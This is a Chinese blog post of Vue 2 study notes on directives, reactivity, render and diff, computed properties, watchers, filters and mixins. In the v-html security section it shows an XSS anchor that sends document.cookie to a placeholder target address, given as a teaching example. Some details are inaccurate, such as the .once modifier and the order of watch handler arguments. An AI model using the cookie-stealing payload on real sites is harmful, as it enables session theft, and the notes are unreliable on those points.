开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第2天,点击查看活动详情
现在 vue3 的版本发布已近一年的时间, 回过头来看 vue2, 很多东西大家在使用的时候,如果已经开始写 vue3 的项目 或者在学习 vue3的项目的话, 大部分时候也能感觉到这二者的部分区别的,但是现在公司的一些新项目,在包给外包的时候,之前没有前端对使用的技术进行限制的时候,他们还是会使用 vue2, 所以还是回顾一下自己之前的学习笔记,当回头看总结的时候,总是能找出来更多的关键信息
Vue
介绍
概念
-
官网
-
基本理念
-
Vue.js是一套构建用户界面的渐进式框架
- 渐进式:一步一步,不是说你必须一次把所有的东西都用上
-
Vue 采用自底向上增量开发的设计
- 自底向上设计:是一种设计程序的过程和方法,就是先编写出基础程序段,然后再逐步扩大规模、补充和升级某些功能,实际上是一种自底向上构造程序的过程
-
Vue 的核心库只关注视图层,它不仅易于上手,还便于与第三方库或既有项目整合
-
当与单文件组件和 Vue 生态系统支持的库结合使用时,Vue 也完全能够为复杂的单页应用程序提供驱动
-
-
声明式渲染和组件化
-
声明式渲染
- Vue.js 的核心是一个允许采用简洁的模板语法来声明式的将数据渲染进 DOM 的系统
-
组件化应用构建
- 组件系统是一种抽象,允许我们使用小型,独立和通常可复用的组件构建大型应用
-
-
MVVM
-
Model-View-ViewModel
- VM(ViewModel):用于双向绑定数据与页面,对于vue项目来说,就是vue的实例
-
AST
可以使用 recast 这个包库,来进行 AST 的转换
- $ npm i recast -S
- 操纵 AST 语法树
- 除了parse/print/builder以外,Recast的三项主要功能
- run: 通过命令行读取js文件,并转化成ast以供处理
- tnt: 通过assert()和check(),可以验证ast对象的类型
- visit: 遍历ast树,获取有效的AST对象并进行更改
-
抽象语法树(描述一段代码的对象)
-
可以理解为一个对象,如果把这个对象转换为另一种语言,则完成了语言之间的转换
- 抽象语法树主要用于模板编译,diff是在虚拟节点diff的不是在抽象语法树diff的
- mustache 模板编译语法 有栈,指针,递归等思想
-
AST 中可以启动服务,工程化环境配置开发环境的服务, 一个是面向开发环境,一个是面向生产(线上)环境,可以进行编译转化
针对 AST ---> 机器码, 之间这个步骤的操作, 如 编译js的时候, 去掉注释, 注释在AST抽象语法树中是一个 指定的 type类型, 在转码过程中,删除这种type类型, 即是去掉了注释
-
VUE 中 抽象语法树的终点是生成 H 函数(render 中的 回调), 其核心是 使用指针的方式, 一个字符一个字符的遍历, 利用栈的思想, 收集 DIV,P 等HTML 标签, 分析标签组合,闭合的情况, 把对应内容 进行 入栈, 弹栈,和出栈的操作, 完成标签的词法分析
-
-
js 是如何运行的
-
在javascript世界中,你可以认为抽象语法树(AST)是最底层。 再往下,就是关于转换和编译的“黑魔法”领域了。
-
js是脚本语言 一定要在一个特定的环境中运行(也就是 V8引擎 也可以称之为宿主环境,node 浏览器就是宿主)
-
运行分两部分
-
第一部分是编译, 是将 js 代码转换成 AST 抽象语法树
-
第二部分是将 AST 语法树,转换成机器码, 围绕这个 AST 进行操作(编译),增删改查都可以, 声明提升就是在这里进行操作的
-
-
ts
就是先转 AST 再转js
-
ES6 如何转 ES5 先把ES6 转成 AST 语法树,再将AST语法树转换成 ES5, 通过babel可以转
-
Vue.config
Vue.config.productionTip = false
- 关闭 vue 的生产提示
基础使用
DOM操作
Vue参数对象属性
-
引入 vue.js文件
-
定义给vue.js 管理的 dom 元素 一个 ID
-
创建一个 vue 实例,并声明要渲染的数据源
- el:元素挂载的位置,值可以是CSS选择器或DOM元素
-
在给定的 dom 元素容器内,绑定数据源中变量名称 { { 变量名 } }
- data:模型数据,值是一个对象 data可以是函数式写法, 函数式必须写return ,返回对象
vue devtools 工具
- 通过chrome中的谷歌插件商店安装Vue Devtools工具,此工具帮助我们进行vue数据调试
- VsCode 中 安装 vetur 插件
配置项
-
el
- 挂载点
-
data
- 做数据代理和数据劫持
-
methods
- 不会做数据代理和数据劫持
-
conputed
- 计算属性
-
watch
- 监视
-
directive
- 自定义指令
-
filters
- 过滤器
-
mouted
- 生命周期函数 有 11个
DOM 挂载操作
-
- el
-
-
template
-
概念
-
是一种用于保存客户端内容机制,该内容在加载页面时不会呈现,但随后可以(原文为 may be)在运行时使用JavaScript实例化。
//扫描DOM元素
内容获取与渲染
-
-
获取其内容的两种方式, 一个是 innerHTML, 一个是 content, innerHTML获取的是一个字符串, content 获取的是DOM 对象--->可使用 节点方法
-
使用 template 的方法
-
-
直接使用
- 也可以在 template 配置项直接写 模板字符串 定义HTML 结构 但没有做到 UI分离
<script> new Vue({ el:"#root", data:{ msg:"hello,vue", msg2:"123" }, template:'#tp1',//第一种 }) </script>
-
-
-
script 标签引用
- script type=“x-template“ type定义script解析规则 加一个id 用来引用
-
-
-
优先级
- render > template > el 重复设置时, 只会渲染优先级更高的
-
-
-
-
render
-
优先级最高
- Vue 选项中的 render 函数若存在,则 Vue 构造函数不会从 template 选项或通过 el 选项指定的挂载元素中提取出的 HTML 模板编译渲染函数。
-
使用方法
- 可以传入一个回调函数, 函数接受一个参数 也是回调函数, 这个回调函数接收三个参数 第一个参数是创造的节点名,第二个是属性(添加在第一个参数创造出来的节点上),第三个是插槽 支持数组, 返回的是一个对象, 这个对象 VNode 也就是虚拟DOM , 基于这个VNode 对象 可以创建DOM.
Vue.component('anchored-heading', { render: function (createElement) { return createElement( 'h' + this.level, // 标签名称 this.$slots.default // 子节点数组 ) }, props: { level: { type: Number, required: true } } }) // 这个回调函数也可以直接传入一个 组件实例 // 写在 vue 挂载页面的 最高级组件中, 也是一个配置项 render:(creatElement)=>{ return creatElement('div',{class:'box'},[ ]) } 或 import Vue from 'vue' import App from './App.vue' Vue.config.productionTip = false new Vue({ render: h => h(App), }).$mount('#app')
-
render VNode 更新
- 再次更新 data 的时候, 就会触发 render, 就会去对比上一次已经保存的 VNode, 这个比较就是 diff比较, 比较出来差异, 将差异的这一部分渲染到真实DOM 中, 没有改变的直接使用真实DOM,不重新渲染.
- 两种触发 render 1. data数据改变 2. 组件属性改变 父组件更新不一定触发子组件更新, 父组件中使用子组件, 给子组件传的属性发生变化, 会触发子组件的更新(父组件的 update 也会触发)
-
-
双向数绑定原理
-
当把一个普通的JavaScript对象传给Vue实例的data选项,Vue将遍历此对象所有的属性
-
vue2
-
Object.defineProperty
-
数据代理
-
概念
- 通过vm对象,代理data对象中属性的操作 (读/写)
-
-
-
-
let obj1={x:100} let obj2={y:200} Object.defineProperty(obj2,'x',{
get(){
return obj1.x
},
set(v){
obj1.x = v
}
})
-
使用 数据代理 和 双向绑定 , vue 将 data 中的数据 在 vm 实例对象上 使用Object.defineProperty 添加了一份 使用 get 和set 方法
-
数据劫持
-
_data 当中的属性使用了数据劫持方法 , 让 vue 可以检测到 data中 值的改变
- 目的就是 数据改变, 页面当中所用应用到数据的地方都会做出改变
-
每当data 数据发生改变的时候 vue 的模板都会从新解析一遍 , 模板中调用方法了, 方法也会重新调用一下
-
-
只能监听对象的, 不能监听数组的
- 对数组方法进行了包装
-
缺点
-
非扁平对象 需要深度遍历进行绑定, 对数组不友好, 是侵入了数组的原型,修改了原型中的方法, 使用的方法不变,只是多加了一个 render的步骤, 所以 vue3 使用 proxy了
-
无法检测到对象属性的新增或者删除
-
data 中的数据每次实例化的时候, vue 都会进行数据双向的 mvvm 双向绑定, data中的数据越多, 则性能消耗越大
-
解决不需要双向绑定的数据 如何挂载?
- 可以直接写到 配置项里面 ,和 data同级, 但是在使用的时候就不能通过this访问了, 需要加上 this.options.属性名, 可以访问了, 这样就不会进行 vm 绑定 , 在插值语法中,不能直接使用, 同样需要加上 options
-
-
vue3
- 使用了Proxy类把这些属性全部转为getter/setter(数据劫持)
-
-
在属性被访问和修改时通知变化。每个组件实例都有相应的 watcher 实例对象,它会在组件渲染的过程中把属性记录为依赖,之后当依赖项的 setter 被调用时,会通知 watcher 重新计算,从而致使它关联的组件得以更新。
判断一个 元素 是否是 真实DOM 使用 元素 instanceof HTMLElement 真实DOM 结果为 true
模板语法
插值表达式
-
是 vue 框架提供的一种在html模板中绑定数据的方式
- 使用 { { 变量名,函数 } } 方式绑定
-
vue 实例中 data 中的数据变量, 会将绑定的数据实时的显示出来
-
语法
支持写法
{{变量、js表达式、三目运算符、方法调用等}}
<h3>{{name}}</h3> <h3>{{name + '--好的'}}</h3> <h3>{{ 1 + 1 }}</h3> <!-- 使用函数 --> <h3>{{title.substr(0,6)}}</h3> <!-- 三目运算 --> <h3>{{ age>22 ? '成年':'未成年'}}</h3>
-
{{变量、js表达式、三目运算符、方法调用等}}
- 括号括起来的区域,就是一个 js 语法区域, 在里面可以写部分js 语法, 不能写 变量声明,分支语句,循环语句
-
data 中所有属性 最后都会出现在 vm 身上
- vm 身上所有的属性, 及 Vue 原型上的所有属性, 在 Vue 模板中都可以直接使用
-
可以直写在标签中
-
-
指令语法
-
用于解析标签(包括:标签属性,标签体内容,绑定事件...)
-
例: v-bind:href="js表达式"
- 应用的js 表达式 和插值表达式用法相同
指令 Directives
-
概念
- 是vue给html标签提供的一些自定义属性,这样属性都是带有 v- 前缀的特殊属性。指令特性的值预期是单个JS表达式(v-for是例外情况)。指令的职责是,当表达式的值改变时,将其产生的连带影响,响应式地作用于DOM。
-
作用
- 操作DOM
- 权限限制
- 表单验证
常用指令
vue内置指令
-
v-bind
-
绑定数据
-
v-bind:value='属性名'
- 简写---> :value='属性名'
-
-
v-model
-
双向绑定
-
会忽略标签自身自带的设置的默认值 - 文本框双向绑定后会忽略value
按钮 input 本身的 value 哈哈 会被忽略
-
文本域的双向绑定--->虽然在显示的时候,插值表达式也能显示,改数据页面也能改,但是无法双向绑定
<!-- 虽然在显示的时候,插值表达式也能显示,改数据页面也能改,但是无法双向绑定 --> <textarea cols="30" rows="10">{{msg}}</textarea>
-
单选框的双向绑定配合 value 使用, 单选框的v-model通常会替换掉原本的name属性,值对应被选中的单选框的value
男 女 保密
-
复选框的双向绑定--->会忽略掉复选框的checked属性 v-model的值是一个布尔值,代表当前复选框是否选中的状态
吃饭 睡觉 敲代码 唱歌
-
-
v-model='属性名'
- 写在输入框中 会绑定数据
-
let vm1 = new Vue({ el:'#box', data:{ text:'勇敢牛牛' }, methods:{ ck(e){ e.currentTarget.style.backgroundColor = Array(6).fill(1).reduce((v,t)=>{ return v += Math.floor(Math.random()*16).toString(16) },'#') } } })
-
修饰符
- v-model.number 收集 到的数据转 数值, 使用的是 parseInt 取整, 配合 input 属性 text="number" 来获取输入数值的选框
- v-model.lazy 失去焦点以后收集当前选框信息
- v-model.trim 去前后空格
-
v-on
-
绑定事件
-
v-on:click='函数名'
- 简写---> @click='方法名'
-
-
v-if
-
语法: v-if='表达式' / v-else-if='表达式' / v-else='表达式'
- 连用的时候,互相之间不可以被打断
- v-else 与前面的条件节点必须是 兄弟关系
- v-if 可以加在 组件中, 最原生DOM 和组件都生效, 直接对其进行卸载
-
不展示的DOM 元素会直接被移除, 适用于切换频率较低的场景
-
template
- v-if 写在 template 标签中, 效果就是 template 标签不在页面中显示, 如同 js 中的 节点碎片一样
-
-
v-show
-
语法: v-show='表达式'
- 使用 v-if时, 元素可能无法获取到, 使用 v-show ,一定可以获取到
- 表达式的返回结果应该是一个 布尔值, 也就是用这个 布尔值来控制 display
-
不展示的DOM 元素未被移除, 使用的 display:none
-
-
v-for (列表渲染)
-
可以循环对象和数组 , 也可以遍历字符串
- 用 of 和 in 都可以遍历, 得到的第一项都是value(键值), of 第二项是对象的键名, 写在哪个标签,就遍历哪个标签,使用key来确定唯一性
- 遍历字符串的时候, 第一项是字符串的每个字符,第二项是索引
-
语法: v-for='(item,index) in/of arr' :key='item'
-
循环中的key最好不要用索引值,索引值有塌陷问题
-
没有第三个参数, 如果写了, 是 undefined , undefined 是不会呈现到页面上的
-
遍历指定次数
- 遍历一个数值 如 10 , 则第一项就是 number , 1-10 的数字, 第二项是下标, 0-9
-
-
key
-
作用
- 给节点进行一个标识,
- 所有元素身上的key 都被征用, 在 渲染真实DOM 的时候, vue 会将 key 拿掉, 不显示在DOM 结构中 , 主要就是用来给 diff 使用
-
使用
-
如果使用 index 下标作为 key 会存在很严重的效率问题, 使用 push方法 和 pop 方法时候影响小, 使用 unshift 和 shift 方法影响 大 ,或进行了 破坏顺序的操作造成数组塌陷, 使用 unshift 的时候, 在前面插入一个元素, 但如果后面还有其他元素,且使用了本循环中的数据, 那么就不会向后循环
-
初始数据在生成初始DOM 的时候, 如果没有写 key , 会自动增加key,且把 index 做为 key
-
生成新数据渲染的时候, 会用 新的 虚拟DOM 和 原 虚拟DOM 中的数据 使用 Diff 算法进行比较, 对比的是虚拟DOM 不是真实DOM input框中输入的并不会改变对比结果, 对比结果不同,则不能复用,相同则复用
-
diff比较
- diff: 对虚拟DOM树, 从上到下,从左到右一一比对,遇到 变化的,是把原来的删除,替换成改变的,遇到新增的, 直接增加,遇到删除,直接连同子节点一起删除. ===> 缺陷:按顺序比较的话, 如果原数据不变,只是位置发生了变化, 会从新渲染. ==========> 解决: 每一个虚拟DOM 都默认有一个 key, for循环的时候可以指定这个key值, 如果有key的话会优先比对key值相同的. (哈希碰撞检测算法) , 如果数据没有发生变化,只是位置发生了变化, 那么就只会记录位置的变化,不会修改数据 //注意 只要是用虚拟DOM (vue,react) 就会吃内存, 虚拟DOM 体积越大,内存占用率越高 // diff 算法 加 key 能在什么时候优化? 1. 位置发生变化的时候 2. 插入,删除,影响原组变化的时候
-
-
用户在input框中输入的数据, 是在真实DOM 中输入的
-
-
不使用index 使用 id 作为key
- 因为使用了id作为key ,id是唯一的 ,在新数据渲染新的 虚拟DOM 的时候, 和原虚拟DOM 数据进行对比的时候, 能够直接对比出 新id 这一条数据不一样,其他的是一样的, 则其他的都是可以直接复用的
-
-
-
v-if 和 v-for 的优先级
- vue2 中 v-for 优先级高于 v-if
- vue3 中 v-if 优先级高于 v-for
-
-
v-text
- 向其所在标签中插入文本,会替换掉原标签中的内容,不能解析标签
- 优先级 高于 {{ }} 插值 语法, 同时写, 会覆盖同名的插值
-
v-html
-
和 v-text 的区别是 可以解析标签
-
安全性问题
-
因为可以解析标签,标签中如果携带了js代码则会执行, 如果在 a标签中 写入了恶意代码,容易受到攻击(XSS)
-
例
<a href=javascript:location.href="目标地址?" + document.cookie>
点击- 当把这段内容放入页面, 点击a标签的时候 就会跳转到 目标地址并把 当前地址存储的 cookie 携带到目标地址服务器中
- cookie 中设置了 HttpOlny 的是读取不到的
-
-
-
v-cloak
-
配合css 使用
- 配置 [v-cloak]{ display:none }
- v-cloak 没有值
-
当网速过慢的时候, 不会让未经解析的模板显示在页面上
-
会在 vue 实例接管容器的一瞬间删掉 v-cloak
-
-
v-once
-
初始状态
- 没有值
- 加在标签上以后, 初次动态渲染后,就视为静态内容了, 以后的数据改变不会 引起 v-once所在结构的更新, 用于优化性能
-
-
v-pre
-
跳过编译
- 没有值
- 跳过其所在节点的编译过程, 可以使用它 跳过没有指令语法,没有插值语法的节点,会加快编译
-
自定义指令
-
配置项 new Vue中的 directives: { 配置 }
-
函数式
-
写法: 方法名(element,binding){ 代码段 }
- 写法简单只能处理简单需求
- 参数1 element 是 当前指令所在的真实DOM 参数2 binding 是 一个绑定对象, 里面的 value 就是 引用的属性值
- 当绑定给 input 的时候 element 就是 input 这个标签 但在方法中 给 element.focus( ) 添加聚焦事件的时候,不生效, 因为函数调用的时候, 虚拟DOM 还没有渲染到真实页面中, element 不是真实DOM 所以不能触发 聚焦事件, 第二次触发的时候就有了真实DOM
-
什么时候调用?
-
- 指令与元素成功绑定时调用(初次调用) 2. 指令所在的模板被从新解析时,从新调用. 即使引用的数据没有改变,但模板中其他数据改变了, 也会调用
-
-
这个函数其实是 对象式 中 bind + update 的组合
-
-
对象式
-
写法: 方法名:{配置函数}
-
可处理复杂需求
-
对象中的配置函数有3个 依次是 bind,inserted,update
directives:{ fbind:{ bind(element,binding){ // 指令与元素成功绑定时 //此处相当于原生 js 中 创建元素,但元素还未插入页面中 这段时间 }, inserted(element,binding){ // 指令所在元素被插入页面时 // 此处相当于原生 js 中,将元素插入页面中之后的时间点 }, update(element,binding){ // 指令所在模板被重新解析时 // 数据发生改变,Vue模板每次更新时 } } } ``` - 这三个函数中的参数,是和 函数式中的参数一样的
-
-
-
使用 ---> v-方法名 = '属性'
-
自定义指令的命名
- 定义指令名是, 如果使用小驼峰式命名, HTML 标签中是不辨认大小写的 , 使用 - 链接, 方法名使用 " " 包裹,
-
自定义指令中回调函数的 this
- 都是 window
-
全局指令
-
Vue.directive(参数1,参数2)
- 参数1就是指令名, 参数2 使用函数式时 就是函数, 使用对象式 时 就是 配置对象
-
每次设置一个, 写在 Vue 实例化之前
-
样式绑定
-
class 正常绑定还是一样的 vue 绑定语法 :class=" "
-
三种写法, 都是写在绑定的class数据中
-
-
字符串写法
-
:class='mood'
- mood 是data中的属性名, 属性值就是类名, 可以动态改变 mood ,去改变使用的 类名
-
适用于样式类名不确定,需要动态指定
-
-
-
-
数组写法
-
:class='classArr'
- classArr 是data中的属性名,属性值是一个数组, 数组中存的是使用的类名,可以同时存字符串和对象
-
-
-
data: {
arr: ['red', 'box'],
arr: [
{
red: true
},
{
box: true
}
],
arr: [
{
red: true
},
'box'
]
},
数组中如果是字符串,多个字符串都是类名 如果数组中是对象,使用方式就跟对象使用方式一样了 适用于要绑定的样式个数不确定,名字不确定
-
3. 对象写法
-
:class='classObj'
- classObj 是data中的属性名, 属性值是一个对象, 对象中的 键名是类名, 键值是布尔值, true表示使用
-
适用于要绑定的样式个数确定,名字确定,但是需要动态决定是否使用
-
-
内联样式
-
绑定
-
数据
- data: { activeColor: 'red', fontSize: 30 }
-
-
可以直接使用对象
- data: { styleObject: { color: 'red', fontSize: '13px' } }
- 对象写法常常配合计算属性使用
-
Vue 动画
概念
- 是操作 css 的 transition 或 animation
- vue 会给目标元素添加/移除指定的class类名, 从而触发样式切换
过渡相关类名
-
v-enter-active
- 进入激活
-
v-enter / v-leave
- 进入的起点(开始样式) / 离开
-
v-enter-to / v-leave-to
- 进入的终点(进入结束时) / 离开
-
v-leave-active
- 离开激活
-
在使用的时候, 进入的起点就是离开的终点, 进入的终点就是离开的起点, 进入和离开可以激活同一个过渡
使用标签
-
name 属性不加 ,默认绑定的样式是 v开头, 加了name 则需要把v替换成name的值
-
transition 标签只能包裹一个子级元素, 这个子级元素可以包裹多个其他元素
- 如需要包裹多个子级元素 需要
- 使用 group 的时候, 每个子级元素必须有 key值, 配合for循环使用 最佳
-
transition 标签 包裹的是需要使用动画的样式, 标签中 使用 v-show 操作动画切换
- 通过 show 的 true 和 false 控制 动画标签类名的添加与删除
-
transition 标签最后解析的时候并不会渲染到页面上
API
$options
-
是当前 实例下的所有属性, 包括vue 配置对象中的所有属性, 如生命周期函数 data 我们自定义的属性 等
-
console.log 打印的是对象的快照(栈存储), 当在控制台展开这个对象的时候, 会去 堆内存中寻找这个对象的具体内容
-
console.log 属于是浏览器的能力, 当我们在打印复杂数据类型的时候, 打印的对象地址是一个快照,当我们在打印的时候打印的是快照,在浏览器进行解析的时候,在打印之后对这个对象进行改变以后,打印的结果会有差异, 这里我们打印在上面 挂载到 options 上的属性的时候, 在生命周期或事件中,直接打印 this.options 看不到我们设置的属性, 但如果 打印 this.options.属性名 的时候 就是能找到的.
-
结论
- 结论:console.log打印出来的内容不一定正确。一般对于普通类型number、string、boolean、null、undefined的输出是可信的。但对于Object等引用类型来说,则就会出现上述异常打印输出。
- 所以对于一般基本类型的调试,调试时使用console.log来输出内容时,不会存在坑。但调试对象时,最好还是使用打断点(debugger)这样的方式来调试更好。
-
重点知识
render 函数
render:(creatElement)=>{
return creatElement('div',{class:'box'},[])
}
-
creatElement 的参数
-
第一个参数是创造的节点名,第二个是属性(添加在第一个参数创造出来的节点上),第三个是插槽 支持数组, 返回的是一个对象, 这个对象 VNode 也就是虚拟DOM , 基于这个VNode 对象 可以创建DOM.
- 是一个 视图 转换成 VNode 的过程
-
-
更新data
- 再次更新 data 的时候, 就会触发 render, 就会去对比上一次已经保存的 VNode, 这个比较就是 diff比较, 比较出来差异, 将差异的这一部分渲染到真实DOM 中, 没有改变的直接使用真实DOM,不重新渲染.
- 也就是 update 这个方法 会将 VNode 转为真实DOM 有两个执行时机, 第一次是首次渲染, 之后就是更新页面
-
DIFF 算法
-
怎样的比对最快最精准? diff: 对虚拟DOM树, 从上到下,从左到右一一比对,遇到 变化的,是把原来的删除,替换成改变的,遇到新增的, 直接增加,遇到删除,直接连同子节点一起删除. ===> 缺陷:按顺序比较的话, 如果原数据不变,只是位置发生了变化, 会从新渲染. ==========> 解决: 每一个虚拟DOM 都默认有一个 key(index), for循环的时候可以指定这个key值, 如果有key的话会优先比对key值相同的. (哈希碰撞检测算法) , 如果数据没有发生变化,只是位置发生了变化, 那么就只会记录位置的变化,不会修改数据
- key 值一样的话 还会比较一下 两个节点的 type 节点类型不同 , 同层级DOM 结构 key相同的 但是 节点类型不同的 还是会重新渲染, 如 div 变成了 a
- 最后对比 节点属性, 如class类名, 如果只有属性更新则只更新节点属性, 不会影响 DOM
-
diff 算法 加 key 能在什么时候优化? 插入,删除,影响原组变化的时候 (需要改变之前元素排列)
- js中指针就是下标 ,diff算法中也有缓存对象,来查看是否命中,减少递归或者对比次数。 只要规则复现了,就可以用到递归
-
时间复杂度是 n 因为只遍历一次
- 增量DOM 会弥补 diff 带来的 虚拟DOM 渲染过程汇总耗费的大量的性能 ,当两个 虚拟DOM 足够庞大的时候, diff 比较时间 将会延长, 比较完成以后才会渲染到 真实DOM 中, 对于用户来说会有明显卡顿
-
事件
事件绑定
-
v-on
-
v-on:click='函数名($event,参数1,参数2)'
- 函数名后面可以写小括号,括号里是参数, 不写小括号, 则函数收到的是 e 事件对象, 写了小括号,函数执行的时候,收到的就是对应的参数
- 事件对象可以使用$event 占位, 参数和 event 的位置 可以更改
-
直接写在行内, 对应标签, 方法名写在后面, 方法在 vue 中的 methods 配置,最终会在vm上
text
-
let vm1 = new Vue({
el:'#box',
data:{
text:'勇敢牛牛'
},
methods:{
ck(e){
console.log(e);
}
}
})
- 所有被 vue 管理的函数 使用普通函数, 箭头函数会改变内部 this指向
- @事件 = '语句'
- 可以不使用函数名, 这里可以写一些简单的语句
事件修饰符
-
在事件名后直接使用点语法调用
-
@click.prevent = '函数名'
- 阻止默认事件
-
.stop
-
阻止事件冒泡
- 调用 event.stopPropagation()
-
-
.once
-
事件只触发一次
- 调用 event.preventDefault()
-
-
.capture
- 使用事件的捕获模式
-
.self
- 只有 event.target 是当前操作的元素时才触发
-
.native
-
监听组件根元素的原生事件
- 不会当成自定义事件
-
-
.passive
- 事件的默认行为立即执行,无需等待事件回调执行完毕
-
-
事件修饰符的连用, 可以连续点 @click.prevent.stop = '函数名'
特定事件
-
滚轮事件
-
@scroll
- 滚动条滚动触发, 滚动条触底不会触发, 优先滚动,在响应事件处理函数
-
@wheel
-
鼠标滚轮滚动触发, 其他事件改变滚动条不会触发, 当滚动条触底,继续滚动滚轮,还会触发
-
触发的时候,会先执行事件处理函数,函数调用完毕,再执行滚动条的滚动
- 加了 .passive 就不会先执行事件处理函数, 而是先执行滚动事件
-
-
-
键盘事件
-
@.keyup
-
按键抬起事件(也可以用 keydown, 按下事件), 正常使用 e.keyCode 或 e.key(按键名) 判定键码, 但 vue 提供了 别名,可以直接使用,来作为判定条件
-
常用按键别名
-
.enter 回车 .delete 删除(删除和退格键) .esc 退出 .space 空格 .tab 换行 .up 上 .down 下 .left 左 .right 右
-
特别的 Tab
- tab 默认事件会切换焦点,也就是即使 绑定了事件,也可能会不触发
- 解决: 不使用 keyup事件, 使用 keydown事件
-
-
-
-
系统修饰键
-
ctrl,alt,shift,meta(win)
- 1, 配合 keyup 使用, 按下修饰键的同时,再按下其他键,随后释放其他键,事件才会被触发
-
- 配合 keydown 使用 会正常触发事件
-
系统修饰键后可以连续点, 组成触发条件 @.keyup.ctrl.y = '函数名'
- 只有按下 ctrl + y 才会触发
-
-
定制按键别名
- Vue.config.keyCodes.自定义键名 = 键码
-
-
表单事件
-
@change
- 输入框或 选择框 发生改变时候触发
-
方法
计算属性
-
概念
- 要用的属性不存在,要通过已有的属性计算出来
- 当某个数据变了,执行计算属性对应的函数,返回一个数据 - 将他看做是data中的数据,拿到模板使用了
-
配置项 new Vue上
-
computed
-
配置方法
-
对象{ 属性名:{ 配置 } , ...}
-
配置中 写 get ( )
- 当有人读取这个属性名时, 就会调用 get 方法, 且返回值就会作为 这个属性名的值
- get 函数中 的 this 就是 vm 实例对象, 可以拿到data中的属性
-
配置中 写 set( 参数)
- 不必须写, 如果以后可能需要修改,才会写
- 当修改这个属性的时候 如 vm.属性名 = '张-三' , 就会调用set ,set 通过传入的参数, 可以通过 this 直接改变 data中对应的 属性
-
-
读取方法
-
配置的 计算属性 也在 vm 身上
- 使用的时候可以直接使用 {{ 计算属性属性名 }}
-
vm._data 上有 data 上的属性, 没有 计算属性
-
-
缓存
-
get( ) 调用的时机
-
- 初次读取
-
- 所依赖的数据发生变化时
-
-
在重复调用 同一个计算属性的时候, 第一次调用完毕以后会 缓存, 第二次及之后调用的时候会使用缓存(中间如果改变了get中使用的数据,会重新计算)
-
-
-
底层是通过使用 Object.defineProperty 方法提供的 getter 和 setter
-
计算属性的简写形式
-
computed:{
fullName(){
// 这个 function 就当成了 get 使用,使用的时候是不能当成函数使用的,直接使用 fullName 才可以
return this.firstName + this.lastName
}
}
- 只考虑读取, 不会修改
-
优点
- 与 methods 相比 , 内部有缓存机制, 可复用, 效率更高,调试方便
-
注意
- 当计算的是一个 数组的时候, 计算属性返回的也应该是一个数组, 最好使用 map 方法
- 计算属性没法处理异步, 异步的函数 return 的结果 无法拿到 ,如 fetch
监视(侦听) watch
-
配置项 1. new Vue 上的 watch
-
配置方法
-
{ 属性名:{配置},属性名:{配置},...}
-
配置中写handler函数, 这个函数有两个参数(参数1,参数2), 参数1 是旧值, 参数2 是新值, 也就是 data 发生的改变
-
-
price: {
handler: function(newVal, oldVal){
console.log('原价'+oldVal);
console.log('现价'+newVal);
alert('太贵了,买不起!')
},
deep: true
},
- 配置
- immediate: true
- 初始化时,让 handler 调用一下
- handler(参数1,参数2){代码块}
- 配置对象中,侦听的属性名, 就是data中的数据(也可以侦听计算属性), 当数据发生变化的时候,触发对应的方法
- 监视属性必须存在才能监视, 不存在也不会报错
-
配置项 2. 使用实例对象
-
vm.$watch('属性',{配置对象})
- 和上面的写法相同
- 也可以使用简写形式,第一个参数属性正常写, 第二个参数 直接写函数 function(参数1,参数2){代码块}
-
-
深度监视
-
data: { numbers:{a:1,b:2 } } data数据中 子级的子级需要被监视
- 直接监视 a 属性是不存在的, 只能监视 vm 上的属性
- 监视 numbers 的时候 , a,b 的变化 不能触发 函数的执行,因为 numbers 是一个key 监视的是 key 对应的一个地址, 复杂数据类型, 里面的内容变化, 地址并没有变
-
方法1
- 监视属性 'numbers.a' 必须用字符串包裹
-
方法2
- 监视 numbers 同时添加配置属性 deep:true
-
-
简写形式
- 不需要 immediate 和 deep 的时候 可以使用, 直接使用 watch:{ 监视属性(参数1,参数2){代码块}}
-
总结
- Vue 自身是可以监测对象内部值的改变, 但Vue提供的 watch 默认不可以, 使用 wtach 时根据数据具体结构,决定是否采用深度监视 deep:true
-
Vue 监视数据的原理
-
Vue 会监视 data 中所有层次的数据(数组除外)
-
数组的更新检测
- Vue 将被侦听的数组的变更方法进行了包裹(包装), 所以他们也会触发视图的更新, 被包裹的方法包括---> push,pop,shift,unshift,splice,sort,reverse
- 也就是使用这些数组方法的时候, 会先使用Vue 包装的方法, 在Vue包装的过程中 使用原数组方法,同时触发视图更新
- 不是用上面的数组方法,还想更新数据, 可以使用其他数组方法以后 直接替换原数组, 或 使用 vm.$set(数组,替换下标,被替换值) 传这三个参数实现, 如果数组中是复杂数据类型,则可以使用数组下标然后对象点语法进行赋值的方式来修改, 直接替换数组中的某一项,不会触发视图更新
-
对象中的数据
-
通过setter 实现监视, 且要在new Vue 时 就传入要监测的数据
-
对象中后追加的属性, Vue 默认不做响应式处理
- 如需给后追加的属性做响应式 需要使用下面的 set
-
-
-
Vue.set 和 vm.$set( )
- 不能给 vm 或 vm的根数据对象添加属性
- 区别 Vue.set( ) ...
-
过滤器 filters
-
改变使用属性的呈现
- 写法 1.{{ 属性 | 过滤器 }}
-
- 配合 v-bind ---> :x="属性 | 过滤器"
- 过滤器没有改变原数据
-
配置项 new Vue上 叫 filters { 配置 }
- 配置中 每一个过滤器都是一个函数
- 这个函数使用的时候不加( )的参数 默认就是 原属性, 如果在插值语法中, 过滤器加了 ( ), 这个函数的第一个参数还是原属性, 第二个参数开始才是传入的参数,如果即有参数又有没有参数的,最好使用参数默认值
-
多个过滤器之间可以串联
-
写法{{ 原属性 | 过滤器1 | 过滤器2 }}
- 可以使用多个 , 后一个过滤器拿到的是前一个过滤器处理完的结果
-
-
全局过滤器
- 在标签顶部 Vue.config下面 (必须写在 new Vue 之前)书写 Vue.filter(参数1,参数2)
- 只能一个一个添加, 参数1 是过滤器名,也就是函数名, 参数2是函数,参数的使用一样
混入 mixin
-
定义混入的时候,对象中的内容其实跟new Vue的时候参数中的内容是一样的,data比较特殊,混入中的data必须是一个函数,函数必须返回一个对象
-
全局混入
Vue.mixin({
data(){
return {
hello: '你好'
}
},
methods: {
onclick(){
console.log(111);
}
}
})
- 局部混入
// 定义对象 const banchengpin1 = {
data(){
return {
vue: 'vue框架'
}
}
}
const vm = new Vue({
el: '#app',
data: {
msg: 'hello vue'
},
// 局部混入
mixins: [banchengpin1]
})
-
混入冲突
-
- 如果混入中的数据跟 vue 实例中的数据冲突了, 以 Vue实例中的为准
-
- 全局混入的数据跟局部混入的数据冲突了, 以局部为准
-
- 如果局部混入的数据跟vue实例的数据冲突 ,以Vue 实例为准
-
